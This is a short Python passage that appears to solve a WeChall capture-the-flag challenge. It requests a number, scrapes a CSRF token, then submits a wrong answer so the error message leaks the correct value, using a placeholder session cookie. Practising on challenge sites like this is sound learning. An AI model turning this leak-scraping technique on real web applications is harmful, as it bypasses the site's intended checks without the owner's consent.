cookies = {'WC': 'YOUR_WECHALL_COOKIE'} base = 'https://www.wechall.net/en/challenge/impossible/index.php'
# Step 1: request new number r = requests.get(f'{base}?request=new_number', cookies=cookies) csrf = re.search(r'name="gwf3_csrf" value="([^"]+)"', r.text).group(1)
# Step 2: submit wrong answer to leak the correct one r2 = requests.post(base, data={ 'solution': '1', 'solve': 'Submit', 'gwf3_csrf': csrf }, cookies=cookies) correct = re.search(r'Correct would have been "(\d+)"', r2.text).group(1)